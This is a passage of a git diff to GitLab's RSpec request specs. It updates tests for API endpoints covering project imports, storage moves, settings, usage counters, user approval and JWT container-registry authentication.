- expect(response.content_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
+ expect(response.media_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
expect(json_response).not_to have_key('TempPath')
expect(json_response['RemoteObject']).to have_key('ID')
expect(json_response['RemoteObject']).to have_key('GetURL')
@@ -344,7 +344,7 @@ RSpec.describe API::ProjectImport do
subject
expect(response).to have_gitlab_http_status(:ok)
- expect(response.content_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
+ expect(response.media_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
expect(json_response['TempPath']).to eq(ImportExportUploader.workhorse_local_upload_path)
expect(json_response['RemoteObject']).to be_nil
end
diff --git a/spec/requests/api/project_repository_storage_moves_spec.rb b/spec/requests/api/project_repository_storage_moves_spec.rb
index ecf4c75b52f..15e69c2aa16 100644
--- a/spec/requests/api/project_repository_storage_moves_spec.rb
+++ b/spec/requests/api/project_repository_storage_moves_spec.rb
@@ -6,8 +6,8 @@ RSpec.describe API::ProjectRepositoryStorageMoves do
include AccessMatchersForRequest
let_it_be(:user) { create(:admin) }
- let_it_be(:project) { create(:project) }
- let_it_be(:storage_move) { create(:project_repository_storage_move, :scheduled, project: project) }
+ let_it_be(:project) { create(:project, :repository).tap { |project| project.track_project_repository } }
+ let_it_be(:storage_move) { create(:project_repository_storage_move, :scheduled, container: project) }
shared_examples 'get single project repository storage move' do
let(:project_repository_storage_move_id) { storage_move.id }
@@ -63,14 +63,14 @@ RSpec.describe API::ProjectRepositoryStorageMoves do
control = ActiveRecord::QueryRecorder.new { get_project_repository_storage_moves }
- create(:project_repository_storage_move, :scheduled, project: project)
+ create(:project_repository_storage_move, :scheduled, container: project)
expect { get_project_repository_storage_moves }.not_to exceed_query_limit(control)
end
it 'returns the most recently created first' do
- storage_move_oldest = create(:project_repository_storage_move, :scheduled, project: project, created_at: 2.days.ago)
- storage_move_middle = create(:project_repository_storage_move, :scheduled, project: project, created_at: 1.day.ago)
+ storage_move_oldest = create(:project_repository_storage_move, :scheduled, container: project, created_at: 2.days.ago)
+ storage_move_middle = create(:project_repository_storage_move, :scheduled, container: project, created_at: 1.day.ago)
get_project_repository_storage_moves
@@ -159,4 +159,64 @@ RSpec.describe API::ProjectRepositoryStorageMoves do
end
end
end
+
+ describe 'POST /project_repository_storage_moves' do
+ let(:source_storage_name) { 'default' }
+ let(:destination_storage_name) { 'test_second_storage' }
+
+ def create_project_repository_storage_moves
+ post api('/project_repository_storage_moves', user), params: {
+ source_storage_name: source_storage_name,
+ destination_storage_name: destination_storage_name
+ }
+ end
+
+ before do
+ stub_storage_settings('test_second_storage' => { 'path' => 'tmp/tests/extra_storage' })
+ end
+
+ it 'schedules the worker' do
+ expect(ProjectScheduleBulkRepositoryShardMovesWorker).to receive(:perform_async).with(source_storage_name, destination_storage_name)
+
+ create_project_repository_storage_moves
+
+ expect(response).to have_gitlab_http_status(:accepted)
+ end
+
+ context 'source_storage_name is invalid' do
+ let(:destination_storage_name) { 'not-a-real-storage' }
+
+ it 'gives an error' do
+ create_project_repository_storage_moves
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+
+ context 'destination_storage_name is missing' do
+ let(:destination_storage_name) { nil }
+
+ it 'schedules the worker' do
+ expect(ProjectScheduleBulkRepositoryShardMovesWorker).to receive(:perform_async).with(source_storage_name, destination_storage_name)
+
+ create_project_repository_storage_moves
+
+ expect(response).to have_gitlab_http_status(:accepted)
+ end
+ end
+
+ context 'destination_storage_name is invalid' do
+ let(:destination_storage_name) { 'not-a-real-storage' }
+
+ it 'gives an error' do
+ create_project_repository_storage_moves
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+
+ describe 'normal user' do
+ it { expect { create_project_repository_storage_moves }.to be_denied_for(:user) }
+ end
+ end
end
diff --git a/spec/requests/api/projects_spec.rb b/spec/requests/api/projects_spec.rb
index 234ac1778fd..ad5468fb54c 100644
--- a/spec/requests/api/projects_spec.rb
+++ b/spec/requests/api/projects_spec.rb
@@ -254,7 +254,7 @@ RSpec.describe API::Projects do
statistics = json_response.find { |p| p['id'] == project.id }['statistics']
expect(statistics).to be_present
- expect(statistics).to include('commit_count', 'storage_size', 'repository_size', 'wiki_size', 'lfs_objects_size', 'job_artifacts_size', 'snippets_size')
+ expect(statistics).to include('commit_count', 'storage_size', 'repository_size', 'wiki_size', 'lfs_objects_size', 'job_artifacts_size', 'snippets_size', 'packages_size')
end
it "does not include license by default" do
@@ -619,7 +619,7 @@ RSpec.describe API::Projects do
end
context 'sorting by project statistics' do
- %w(repository_size storage_size wiki_size).each do |order_by|
+ %w(repository_size storage_size wiki_size packages_size).each do |order_by|
context "sorting by #{order_by}" do
before do
ProjectStatistics.update_all(order_by => 100)
@@ -873,6 +873,7 @@ RSpec.describe API::Projects do
jobs_enabled: false,
merge_requests_enabled: false,
forking_access_level: 'disabled',
+ analytics_access_level: 'disabled',
wiki_enabled: false,
resolve_outdated_diff_discussions: false,
remove_source_branch_after_merge: true,
@@ -883,7 +884,9 @@ RSpec.describe API::Projects do
only_allow_merge_if_all_discussions_are_resolved: false,
ci_config_path: 'a/custom/path',
merge_method: 'ff'
- })
+ }).tap do |attrs|
+ attrs[:operations_access_level] = 'disabled'
+ end
post api('/projects', user), params: project
@@ -900,6 +903,8 @@ RSpec.describe API::Projects do
expect(project.project_feature.issues_access_level).to eq(ProjectFeature::DISABLED)
expect(project.project_feature.merge_requests_access_level).to eq(ProjectFeature::DISABLED)
expect(project.project_feature.wiki_access_level).to eq(ProjectFeature::DISABLED)
+ expect(project.operations_access_level).to eq(ProjectFeature::DISABLED)
+ expect(project.project_feature.analytics_access_level).to eq(ProjectFeature::DISABLED)
end
it 'creates a project using a template' do
@@ -1579,6 +1584,7 @@ RSpec.describe API::Projects do
expect(json_response['only_allow_merge_if_pipeline_succeeds']).to eq(project.only_allow_merge_if_pipeline_succeeds)
expect(json_response['allow_merge_on_skipped_pipeline']).to eq(project.allow_merge_on_skipped_pipeline)
expect(json_response['only_allow_merge_if_all_discussions_are_resolved']).to eq(project.only_allow_merge_if_all_discussions_are_resolved)
+ expect(json_response['operations_access_level']).to be_present
end
end
@@ -1619,8 +1625,10 @@ RSpec.describe API::Projects do
expect(json_response['issues_access_level']).to be_present
expect(json_response['merge_requests_access_level']).to be_present
expect(json_response['forking_access_level']).to be_present
+ expect(json_response['analytics_access_level']).to be_present
expect(json_response['wiki_access_level']).to be_present
expect(json_response['builds_access_level']).to be_present
+ expect(json_response['operations_access_level']).to be_present
expect(json_response).to have_key('emails_disabled')
expect(json_response['resolve_outdated_diff_discussions']).to eq(project.resolve_outdated_diff_discussions)
expect(json_response['remove_source_branch_after_merge']).to be_truthy
diff --git a/spec/requests/api/services_spec.rb b/spec/requests/api/services_spec.rb
index 63ed57c5045..2157e69e7bf 100644
--- a/spec/requests/api/services_spec.rb
+++ b/spec/requests/api/services_spec.rb
@@ -76,7 +76,9 @@ RSpec.describe API::Services do
required_attributes = service_attrs_list.select do |attr|
service_klass.validators_on(attr).any? do |v|
- v.class == ActiveRecord::Validations::PresenceValidator
+ v.class == ActiveRecord::Validations::PresenceValidator &&
+ # exclude presence validators with conditional since those are not really required
+ ![:if, :unless].any? { |cond| v.options.include?(cond) }
end
end
diff --git a/spec/requests/api/settings_spec.rb b/spec/requests/api/settings_spec.rb
index 03320549e44..8fb0f8fc51a 100644
--- a/spec/requests/api/settings_spec.rb
+++ b/spec/requests/api/settings_spec.rb
@@ -43,6 +43,7 @@ RSpec.describe API::Settings, 'Settings' do
expect(json_response['spam_check_endpoint_url']).to be_nil
expect(json_response['wiki_page_max_content_bytes']).to be_a(Integer)
expect(json_response['require_admin_approval_after_user_signup']).to eq(true)
+ expect(json_response['personal_access_token_prefix']).to be_nil
end
end
@@ -122,7 +123,8 @@ RSpec.describe API::Settings, 'Settings' do
spam_check_endpoint_url: 'https://example.com/spam_check',
disabled_oauth_sign_in_sources: 'unknown',
import_sources: 'github,bitbucket',
- wiki_page_max_content_bytes: 12345
+ wiki_page_max_content_bytes: 12345,
+ personal_access_token_prefix: "GL-"
}
expect(response).to have_gitlab_http_status(:ok)
@@ -166,6 +168,7 @@ RSpec.describe API::Settings, 'Settings' do
expect(json_response['disabled_oauth_sign_in_sources']).to eq([])
expect(json_response['import_sources']).to match_array(%w(github bitbucket))
expect(json_response['wiki_page_max_content_bytes']).to eq(12345)
+ expect(json_response['personal_access_token_prefix']).to eq("GL-")
end
end
@@ -451,5 +454,25 @@ RSpec.describe API::Settings, 'Settings' do
expect(json_response['error']).to eq('spam_check_endpoint_url is missing')
end
end
+
+ context "personal access token prefix settings" do
+ context "handles validation errors" do
+ it "fails to update the settings with too long prefix" do
+ put api("/application/settings", admin), params: { personal_access_token_prefix: "prefix" * 10 }
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ message = json_response["message"]
+ expect(message["personal_access_token_prefix"]).to include(a_string_matching("is too long"))
+ end
+
+ it "fails to update the settings with invalid characters in the prefix" do
+ put api("/application/settings", admin), params: { personal_access_token_prefix: "éñ" }
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ message = json_response["message"]
+ expect(message["personal_access_token_prefix"]).to include(a_string_matching("can contain only letters of the Base64 alphabet"))
+ end
+ end
+ end
end
end
diff --git a/spec/requests/api/usage_data_spec.rb b/spec/requests/api/usage_data_spec.rb
index 4f4f386e9db..d44f179eed8 100644
--- a/spec/requests/api/usage_data_spec.rb
+++ b/spec/requests/api/usage_data_spec.rb
@@ -5,6 +5,87 @@ require 'spec_helper'
RSpec.describe API::UsageData do
let_it_be(:user) { create(:user) }
+ describe 'POST /usage_data/increment_counter' do
+ let(:endpoint) { '/usage_data/increment_counter' }
+ let(:known_event) { "#{known_event_prefix}_#{known_event_postfix}" }
+ let(:known_event_prefix) { "static_site_editor" }
+ let(:known_event_postfix) { 'commits' }
+ let(:unknown_event) { 'unknown' }
+
+ context 'without CSRF token' do
+ it 'returns forbidden' do
+ stub_feature_flags(usage_data_api: true)
+ allow(Gitlab::RequestForgeryProtection).to receive(:verified?).and_return(false)
+
+ post api(endpoint, user), params: { event: known_event }
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'usage_data_api feature not enabled' do
+ it 'returns not_found' do
+ stub_feature_flags(usage_data_api: false)
+
+ post api(endpoint, user), params: { event: known_event }
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'without authentication' do
+ it 'returns 401 response' do
+ post api(endpoint), params: { event: known_event }
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'with authentication' do
+ before do
+ stub_feature_flags(usage_data_api: true)
+ stub_feature_flags("usage_data_#{known_event}" => true)
+ stub_application_setting(usage_ping_enabled: true)
+ allow(Gitlab::RequestForgeryProtection).to receive(:verified?).and_return(true)
+ end
+
+ context 'when event is missing from params' do
+ it 'returns bad request' do
+ post api(endpoint, user), params: {}
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+
+ %w[merge_requests commits].each do |postfix|
+ context 'with correct params' do
+ let(:known_event_postfix) { postfix }
+
+ it 'returns status ok' do
+ expect(Gitlab::UsageDataCounters::BaseCounter).to receive(:count).with(known_event_postfix)
+ post api(endpoint, user), params: { event: known_event }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+
+ context 'with unknown event' do
+ before do
+ skip_feature_flags_yaml_validation
+ end
+
+ it 'returns status ok' do
+ expect(Gitlab::UsageDataCounters::BaseCounter).not_to receive(:count)
+
+ post api(endpoint, user), params: { event: unknown_event }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+ end
+
describe 'POST /usage_data/increment_unique_users' do
let(:endpoint) { '/usage_data/increment_unique_users' }
let(:known_event) { 'g_compliance_dashboard' }
diff --git a/spec/requests/api/users_spec.rb b/spec/requests/api/users_spec.rb
index 98840d6238a..2cd1483f486 100644
--- a/spec/requests/api/users_spec.rb
+++ b/spec/requests/api/users_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe API::Users, :do_not_mock_admin_mode do
+RSpec.describe API::Users do
let_it_be(:admin) { create(:admin) }
let_it_be(:user, reload: true) { create(:user, username: 'user.with.dot') }
let_it_be(:key) { create(:key, user: user) }
@@ -2510,6 +2510,98 @@ RSpec.describe API::Users, :do_not_mock_admin_mode do
end
end
+ context 'approve pending user' do
+ shared_examples '404' do
+ it 'returns 404' do
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response['message']).to eq('404 User Not Found')
+ end
+ end
+
+ describe 'POST /users/:id/approve' do
+ subject(:approve) { post api("/users/#{user_id}/approve", api_user) }
+
+ let_it_be(:pending_user) { create(:user, :blocked_pending_approval) }
+ let_it_be(:deactivated_user) { create(:user, :deactivated) }
+ let_it_be(:blocked_user) { create(:user, :blocked) }
+
+ context 'performed by a non-admin user' do
+ let(:api_user) { user }
+ let(:user_id) { pending_user.id }
+
+ it 'is not authorized to perform the action' do
+ expect { approve }.not_to change { pending_user.reload.state }
+ expect(response).to have_gitlab_http_status(:forbidden)
+ expect(json_response['message']).to eq('You are not allowed to approve a user')
+ end
+ end
+
+ context 'performed by an admin user' do
+ let(:api_user) { admin }
+
+ context 'for a deactivated user' do
+ let(:user_id) { deactivated_user.id }
+
+ it 'does not approve a deactivated user' do
+ expect { approve }.not_to change { deactivated_user.reload.state }
+ expect(response).to have_gitlab_http_status(:conflict)
+ expect(json_response['message']).to eq('The user you are trying to approve is not pending an approval')
+ end
+ end
+
+ context 'for an pending approval user' do
+ let(:user_id) { pending_user.id }
+
+ it 'returns 201' do
+ expect { approve }.to change { pending_user.reload.state }.to('active')
+ expect(response).to have_gitlab_http_status(:created)
+ expect(json_response['message']).to eq('Success')
+ end
+ end
+
+ context 'for an active user' do
+ let(:user_id) { user.id }
+
+ it 'returns 201' do
+ expect { approve }.not_to change { user.reload.state }
+ expect(response).to have_gitlab_http_status(:conflict)
+ expect(json_response['message']).to eq('The user you are trying to approve is not pending an approval')
+ end
+ end
+
+ context 'for a blocked user' do
+ let(:user_id) { blocked_user.id }
+
+ it 'returns 403' do
+ expect { approve }.not_to change { blocked_user.reload.state }
+ expect(response).to have_gitlab_http_status(:conflict)
+ expect(json_response['message']).to eq('The user you are trying to approve is not pending an approval')
+ end
+ end
+
+ context 'for a ldap blocked user' do
+ let(:user_id) { ldap_blocked_user.id }
+
+ it 'returns 403' do
+ expect { approve }.not_to change { ldap_blocked_user.reload.state }
+ expect(response).to have_gitlab_http_status(:conflict)
+ expect(json_response['message']).to eq('The user you are trying to approve is not pending an approval')
+ end
+ end
+
+ context 'for a user that does not exist' do
+ let(:user_id) { non_existing_record_id }
+
+ before do
+ approve
+ end
+
+ it_behaves_like '404'
+ end
+ end
+ end
+ end
+
describe 'POST /users/:id/block' do
let(:blocked_user) { create(:user, state: 'blocked') }
diff --git a/spec/requests/api/v3/github_spec.rb b/spec/requests/api/v3/github_spec.rb
index 86ddf4a78d8..e7d9ba99743 100644
--- a/spec/requests/api/v3/github_spec.rb
+++ b/spec/requests/api/v3/github_spec.rb
@@ -383,7 +383,7 @@ RSpec.describe API::V3::Github do
it 'counts Jira Cloud integration as enabled' do
user_agent = 'Jira DVCS Connector Vertigo/4.42.0'
- Timecop.freeze do
+ freeze_time do
jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/branches", user), user_agent
expect(project.reload.jira_dvcs_cloud_last_sync_at).to be_like_time(Time.now)
@@ -393,7 +393,7 @@ RSpec.describe API::V3::Github do
it 'counts Jira Server integration as enabled' do
user_agent = 'Jira DVCS Connector/3.2.4'
- Timecop.freeze do
+ freeze_time do
jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/branches", user), user_agent
expect(project.reload.jira_dvcs_server_last_sync_at).to be_like_time(Time.now)
diff --git a/spec/requests/git_http_spec.rb b/spec/requests/git_http_spec.rb
index 32aeeed43b6..bc89dc2fa77 100644
--- a/spec/requests/git_http_spec.rb
+++ b/spec/requests/git_http_spec.rb
@@ -809,12 +809,24 @@ RSpec.describe 'Git HTTP requests' do
context 'administrator' do
let(:user) { create(:admin) }
- it_behaves_like 'can download code only'
+ context 'when admin mode is enabled', :enable_admin_mode do
+ it_behaves_like 'can download code only'
- it 'downloads from other project get status 403' do
- clone_get "#{other_project.full_path}.git", user: 'gitlab-ci-token', password: build.token
+ it 'downloads from other project get status 403' do
+ clone_get "#{other_project.full_path}.git", user: 'gitlab-ci-token', password: build.token
- expect(response).to have_gitlab_http_status(:forbidden)
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'when admin mode is disabled' do
+ it_behaves_like 'can download code only'
+
+ it 'downloads from other project get status 404' do
+ clone_get "#{other_project.full_path}.git", user: 'gitlab-ci-token', password: build.token
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
end
end
diff --git a/spec/requests/ide_controller_spec.rb b/spec/requests/ide_controller_spec.rb
new file mode 100644
index 00000000000..805c1f1d82b
--- /dev/null
+++ b/spec/requests/ide_controller_spec.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe IdeController do
+ let(:user) { create(:user) }
+
+ before do
+ sign_in(user)
+ end
+
+ it 'increases the views counter' do
+ expect(Gitlab::UsageDataCounters::WebIdeCounter).to receive(:increment_views_count)
+
+ get ide_url
+ end
+end
diff --git a/spec/requests/import/gitlab_groups_controller_spec.rb b/spec/requests/import/gitlab_groups_controller_spec.rb
index 4125c5c7c7a..51f1363cf1c 100644
--- a/spec/requests/import/gitlab_groups_controller_spec.rb
+++ b/spec/requests/import/gitlab_groups_controller_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Import::GitlabGroupsController do
include WorkhorseHelpers
+ let_it_be(:user) { create(:user) }
let(:import_path) { "#{Dir.tmpdir}/gitlab_groups_controller_spec" }
let(:workhorse_token) { JWT.encode({ 'iss' => 'gitlab-workhorse' }, Gitlab::Workhorse.secret, 'HS256') }
let(:workhorse_headers) do
@@ -28,8 +29,6 @@ RSpec.describe Import::GitlabGroupsController do
describe 'POST create' do
subject(:import_request) { upload_archive(file_upload, workhorse_headers, request_params) }
- let_it_be(:user) { create(:user) }
-
let(:file) { File.join('spec', %w[fixtures group_export.tar.gz]) }
let(:file_upload) { fixture_file_upload(file) }
@@ -194,67 +193,11 @@ RSpec.describe Import::GitlabGroupsController do
end
describe 'POST authorize' do
- let_it_be(:user) { create(:user) }
-
- before do
- login_as(user)
- end
-
- context 'when using a workhorse header' do
- subject(:authorize_request) { post authorize_import_gitlab_group_path, headers: workhorse_headers }
-
- it 'authorizes the request' do
- authorize_request
-
- expect(response).to have_gitlab_http_status :ok
- expect(response.media_type).to eq Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE
- expect(json_response['TempPath']).to eq ImportExportUploader.workhorse_local_upload_path
- end
- end
-
- context 'when the request bypasses gitlab-workhorse' do
- subject(:authorize_request) { post authorize_import_gitlab_group_path }
-
- it 'rejects the request' do
- expect { authorize_request }.to raise_error(JWT::DecodeError)
- end
- end
-
- context 'when direct upload is enabled' do
- subject(:authorize_request) { post authorize_import_gitlab_group_path, headers: workhorse_headers }
+ it_behaves_like 'handle uploads authorize request' do
+ let(:uploader_class) { ImportExportUploader }
+ let(:maximum_size) { Gitlab::CurrentSettings.max_import_size.megabytes }
- before do
- stub_uploads_object_storage(ImportExportUploader, enabled: true, direct_upload: true)
- end
-
- it 'accepts the request and stores the files' do
- authorize_request
-
- expect(response).to have_gitlab_http_status :ok
- expect(response.media_type).to eq Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE
- expect(json_response).not_to have_key 'TempPath'
-
- expect(json_response['RemoteObject'].keys)
- .to include('ID', 'GetURL', 'StoreURL', 'DeleteURL', 'MultipartUpload')
- end
- end
-
- context 'when direct upload is disabled' do
- subject(:authorize_request) { post authorize_import_gitlab_group_path, headers: workhorse_headers }
-
- before do
- stub_uploads_object_storage(ImportExportUploader, enabled: true, direct_upload: false)
- end
-
- it 'handles the local file' do
- authorize_request
-
- expect(response).to have_gitlab_http_status :ok
- expect(response.media_type).to eq Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE
-
- expect(json_response['TempPath']).to eq ImportExportUploader.workhorse_local_upload_path
- expect(json_response['RemoteObject']).to be_nil
- end
+ subject { post authorize_import_gitlab_group_path, headers: workhorse_headers }
end
end
end
diff --git a/spec/requests/import/gitlab_projects_controller_spec.rb b/spec/requests/import/gitlab_projects_controller_spec.rb
index c1ac5a9f2c8..d7d4de21a33 100644
--- a/spec/requests/import/gitlab_projects_controller_spec.rb
+++ b/spec/requests/import/gitlab_projects_controller_spec.rb
@@ -84,56 +84,11 @@ RSpec.describe Import::GitlabProjectsController do
end
describe 'POST authorize' do
- subject { post authorize_import_gitlab_project_path, headers: workhorse_headers }
+ it_behaves_like 'handle uploads authorize request' do
+ let(:uploader_class) { ImportExportUploader }
+ let(:maximum_size) { Gitlab::CurrentSettings.max_import_size.megabytes }
- it 'authorizes importing project with workhorse header' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.content_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
- expect(json_response['TempPath']).to eq(ImportExportUploader.workhorse_local_upload_path)
- end
-
- it 'rejects requests that bypassed gitlab-workhorse' do
- workhorse_headers.delete(Gitlab::Workhorse::INTERNAL_API_REQUEST_HEADER)
-
- expect { subject }.to raise_error(JWT::DecodeError)
- end
-
- context 'when using remote storage' do
- context 'when direct upload is enabled' do
- before do
- stub_uploads_object_storage(ImportExportUploader, enabled: true, direct_upload: true)
- end
-
- it 'responds with status 200, location of file remote store and object details' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.content_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
- expect(json_response).not_to have_key('TempPath')
- expect(json_response['RemoteObject']).to have_key('ID')
- expect(json_response['RemoteObject']).to have_key('GetURL')
- expect(json_response['RemoteObject']).to have_key('StoreURL')
- expect(json_response['RemoteObject']).to have_key('DeleteURL')
- expect(json_response['RemoteObject']).to have_key('MultipartUpload')
- end
- end
-
- context 'when direct upload is disabled' do
- before do
- stub_uploads_object_storage(ImportExportUploader, enabled: true, direct_upload: false)
- end
-
- it 'handles as a local file' do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response.content_type.to_s).to eq(Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE)
- expect(json_response['TempPath']).to eq(ImportExportUploader.workhorse_local_upload_path)
- expect(json_response['RemoteObject']).to be_nil
- end
- end
+ subject { post authorize_import_gitlab_project_path, headers: workhorse_headers }
end
end
end
diff --git a/spec/requests/jwt_controller_spec.rb b/spec/requests/jwt_controller_spec.rb
index fe6c0f0a556..e154e691d5f 100644
--- a/spec/requests/jwt_controller_spec.rb
+++ b/spec/requests/jwt_controller_spec.rb
@@ -5,13 +5,13 @@ require 'spec_helper'
RSpec.describe JwtController do
include_context 'parsed logs'
- let(:service) { double(execute: {}) }
- let(:service_class) { double(new: service) }
- let(:service_name) { 'test' }
+ let(:service) { double(execute: {} ) }
+ let(:service_class) { Auth::ContainerRegistryAuthenticationService }
+ let(:service_name) { 'container_registry' }
let(:parameters) { { service: service_name } }
before do
- stub_const('JwtController::SERVICES', service_name => service_class)
+ allow(service_class).to receive(:new).and_return(service)
end
shared_examples 'user logging' do
@@ -22,194 +22,266 @@ RSpec.describe JwtController do
end
end
- context 'existing service' do
- subject! { get '/jwt/auth', params: parameters }
+ context 'authenticating against container registry' do
+ context 'existing service' do
+ subject! { get '/jwt/auth', params: parameters }
- it { expect(response).to have_gitlab_http_status(:ok) }
+ it { expect(response).to have_gitlab_http_status(:ok) }
- context 'returning custom http code' do
- let(:service) { double(execute: { http_status: 505 }) }
+ context 'returning custom http code' do
+ let(:service) { double(execute: { http_status: 505 }) }
- it { expect(response).to have_gitlab_http_status(:http_version_not_supported) }
+ it { expect(response).to have_gitlab_http_status(:http_version_not_supported) }
+ end
end
- end
- context 'when using authenticated request' do
- shared_examples 'rejecting a blocked user' do
- context 'with blocked user' do
- let(:user) { create(:user, :blocked) }
+ context 'when using authenticated request' do
+ shared_examples 'rejecting a blocked user' do
+ context 'with blocked user' do
+ let(:user) { create(:user, :blocked) }
- it 'rejects the request as unauthorized' do
- expect(response).to have_gitlab_http_status(:unauthorized)
- expect(response.body).to include('HTTP Basic: Access denied')
+ it 'rejects the request as unauthorized' do
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ expect(response.body).to include('HTTP Basic: Access denied')
+ end
end
end
- end
- context 'using CI token' do
- let(:user) { create(:user) }
- let(:build) { create(:ci_build, :running, user: user) }
- let(:project) { build.project }
- let(:headers) { { authorization: credentials('gitlab-ci-token', build.token) } }
+ context 'using CI token' do
+ let(:user) { create(:user) }
+ let(:build) { create(:ci_build, :running, user: user) }
+ let(:project) { build.project }
+ let(:headers) { { authorization: credentials('gitlab-ci-token', build.token) } }
- context 'project with enabled CI' do
- subject! { get '/jwt/auth', params: parameters, headers: headers }
-
- it { expect(service_class).to have_received(:new).with(project, user, ActionController::Parameters.new(parameters).permit!) }
+ context 'project with enabled CI' do
+ subject! { get '/jwt/auth', params: parameters, headers: headers }
- it_behaves_like 'user logging'
- end
+ it { expect(service_class).to have_received(:new).with(project, user, ActionController::Parameters.new(parameters).permit!) }
- context 'project with disabled CI' do
- before do
- project.project_feature.update_attribute(:builds_access_level, ProjectFeature::DISABLED)
+ it_behaves_like 'user logging'
end
- subject! { get '/jwt/auth', params: parameters, headers: headers }
+ context 'project with disabled CI' do
+ before do
+ project.project_feature.update_attribute(:builds_access_level, ProjectFeature::DISABLED)
+ end
- it { expect(response).to have_gitlab_http_status(:unauthorized) }
- end
+ subject! { get '/jwt/auth', params: parameters, headers: headers }
- context 'using deploy tokens' do
- let(:deploy_token) { create(:deploy_token, read_registry: true, projects: [project]) }
- let(:headers) { { authorization: credentials(deploy_token.username, deploy_token.token) } }
+ it { expect(response).to have_gitlab_http_status(:unauthorized) }
+ end
- subject! { get '/jwt/auth', params: parameters, headers: headers }
+ context 'using deploy tokens' do
+ let(:deploy_token) { create(:deploy_token, read_registry: true, projects: [project]) }
+ let(:headers) { { authorization: credentials(deploy_token.username, deploy_token.token) } }
- it 'authenticates correctly' do
- expect(response).to have_gitlab_http_status(:ok)
- expect(service_class).to have_received(:new).with(nil, deploy_token, ActionController::Parameters.new(parameters).permit!)
- end
+ subject! { get '/jwt/auth', params: parameters, headers: headers }
- it 'does not log a user' do
- expect(log_data.keys).not_to include(%w(username user_id))
+ it 'authenticates correctly' do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(service_class).to have_received(:new).with(nil, deploy_token, ActionController::Parameters.new(parameters).permit!)
+ end
+
+ it 'does not log a user' do
+ expect(log_data.keys).not_to include(%w(username user_id))
+ end
end
- end
- context 'using personal access tokens' do
- let(:pat) { create(:personal_access_token, user: user, scopes: ['read_registry']) }
- let(:headers) { { authorization: credentials('personal_access_token', pat.token) } }
+ context 'using personal access tokens' do
+ let(:pat) { create(:personal_access_token, user: user, scopes: ['read_registry']) }
+ let(:headers) { { authorization: credentials('personal_access_token', pat.token) } }
- before do
- stub_container_registry_config(enabled: true)
+ before do
+ stub_container_registry_config(enabled: true)
+ end
+
+ subject! { get '/jwt/auth', params: parameters, headers: headers }
+
+ it 'authenticates correctly' do
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(service_class).to have_received(:new).with(nil, user, ActionController::Parameters.new(parameters).permit!)
+ end
+
+ it_behaves_like 'rejecting a blocked user'
+ it_behaves_like 'user logging'
end
+ end
+
+ context 'using User login' do
+ let(:user) { create(:user) }
+ let(:headers) { { authorization: credentials(user.username, user.password) } }
subject! { get '/jwt/auth', params: parameters, headers: headers }
- it 'authenticates correctly' do
- expect(response).to have_gitlab_http_status(:ok)
- expect(service_class).to have_received(:new).with(nil, user, ActionController::Parameters.new(parameters).permit!)
- end
+ it { expect(service_class).to have_received(:new).with(nil, user, ActionController::Parameters.new(parameters).permit!) }
it_behaves_like 'rejecting a blocked user'
- it_behaves_like 'user logging'
- end
- end
-
- context 'using User login' do
- let(:user) { create(:user) }
- let(:headers) { { authorization: credentials(user.username, user.password) } }
- subject! { get '/jwt/auth', params: parameters, headers: headers }
+ context 'when passing a flat array of scopes' do
+ # We use this trick to make rails to generate a query_string:
+ # scope=scope1&scope=scope2
+ # It works because :scope and 'scope' are the same as string, but different objects
+ let(:parameters) do
+ {
+ :service => service_name,
+ :scope => 'scope1',
+ 'scope' => 'scope2'
+ }
+ end
- it { expect(service_class).to have_received(:new).with(nil, user, ActionController::Parameters.new(parameters).permit!) }
+ let(:service_parameters) do
+ ActionController::Parameters.new({ service: service_name, scopes: %w(scope1 scope2) }).permit!
+ end
- it_behaves_like 'rejecting a blocked user'
+ it { expect(service_class).to have_received(:new).with(nil, user, service_parameters) }
- context 'when passing a flat array of scopes' do
- # We use this trick to make rails to generate a query_string:
- # scope=scope1&scope=scope2
- # It works because :scope and 'scope' are the same as string, but different objects
- let(:parameters) do
- {
- :service => service_name,
- :scope => 'scope1',
- 'scope' => 'scope2'
- }
+ it_behaves_like 'user logging'
end
- let(:service_parameters) do
- ActionController::Parameters.new({ service: service_name, scopes: %w(scope1 scope2) }).permit!
+ context 'when user has 2FA enabled' do
+ let(:user) { create(:user, :two_factor) }
+
+ context 'without personal token' do
+ it 'rejects the authorization attempt' do
